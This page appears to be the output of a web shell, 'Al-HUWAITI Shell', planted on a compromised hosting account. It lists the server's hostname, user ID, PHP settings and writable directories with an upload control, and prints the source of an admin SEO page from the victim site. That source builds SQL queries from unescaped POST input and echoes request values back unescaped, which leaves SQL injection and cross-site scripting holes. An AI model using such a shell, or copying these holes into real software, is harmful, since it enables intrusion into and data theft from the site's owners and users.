Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/seo_keyword_add.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";
$error = "";
$message = "";
if(isset($_GET["p"])){
$p = $_GET["p"];
if($p == 'keyword'){
     $page_name = 'category';
    $page_php = 'category.php';
}

}
if (!empty($_POST["Process"]) && trim($_POST["Process"]) == "AddNow") {
    $page = array();
    $page['page'] = $page_name;
    $page['page_php'] = $page_php;
    $page['keyword'] = trim($_POST['keyword']);
    $page['meta_keyword'] = test_input($_POST['meta_keyword']);
    $page['outgoing_link'] = test_input($_POST['outgoing_link']);
    $page['anchor'] = test_input($_POST['anchor']);

    #check if page already exist
    $query = "SELECT * from seo WHERE page='" . $page['page'] . "'";
    $result = mysqli_query($connection, $query);
    if (mysqli_num_rows($result)) {
        $error = "Page already exist";
    } else { //if(mysqli_num_rows($result))
         date_default_timezone_set("Asia/Kolkata");
$Date = date("Y-m-d H:i:s");
$page = $page['page'];
$page_php = $page['page_php'];
$language = $lang_site_main_lang;
$keyword = $page['keyword'];
$meta_keyword = $page['meta_keyword'];
$outgoing_link = $page['outgoing_link'];
$anchor = $page['anchor'];
$meta_value = '';
$created_at = $Date ;
 $sql = "INSERT INTO `seo`( `page`, `page_php`, `language`, `keyword`, `meta_keyword`, `outgoing_link`, `anchor`, `meta_value`, `created_at`) VALUES ('$page','$page_php','$language','$keyword','$meta_keyword','$outgoing_link','$anchor','$meta_value','$created_at')";
if (mysqli_query($connection, $sql)) {
  $msg = "New record created successfully";
  $last_id = mysqli_insert_id($con);
} else {
  $msg = "Error: " . $sql . "
" . mysqli_error($con);
}

       header("Location:seo_keyword");
    }
}
?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item ">All Pages</li>
            <li class="breadcrumb-item">Add Page</li>
        </ol>
    </div>
</nav>
<!-- Header Ends-->
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <!-- /.card-header -->
                    <div class="card-body">
                        <?php include_once 'notification.php'; ?>
                        <form action="" method="post" id="add-page-form" enctype="multipart/form-data">
                            <div class="form-group">
                                <label for="usrname">keyword</label>
                                <input type="text" class="form-control" id="page" name="keyword" placeholder="Enter keyword" required value="<?php if (!empty($_POST["keyword"])) {
                                                                                                                                                echo $_POST["keyword"];
                                                                                                                                            } ?>">
                            </div>
                            <div class="form-group">
                                <label for="email">meta keyword</label>
                                <input type="text" class="form-control" id="meta_keyword" name="meta_keyword" placeholder="Enter meta keyword" value="<?php if (!empty($_POST["meta_keyword"])) {
                                    echo $_POST["page_php_name"]; } ?>">
                            </div>
              

                            <div class="form-group">
                                <label for="email">anchor </label>
                                <textarea class="form-control" name="page_title" placeholder="Enter anchor"><?php if (!empty($_POST["anchor"])) { 
                                 echo $_POST["anchor"];
                                  } ?></textarea>
                            </div>

                            <div class="form-group">
                                <label for="email">outgoing_link </label>
                                <textarea class="form-control" name="page_title" placeholder="Enter outgoing link"><?php if (!empty($_POST["page_title"])) { 
                                 echo $_POST["page_title"];
                                  } ?></textarea>
                            </div>

  

                            





                            <button type="submit" class="btn btn-primary">Add</button>
                            <input type="hidden" name="Process" id="Process" value="AddNow" />
                        </form>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Content Ends-->
<!-- Footer Start-->
<?php include("footer.php"); ?>
<!-- Footer Ends-->

Al-HUWAITI Shell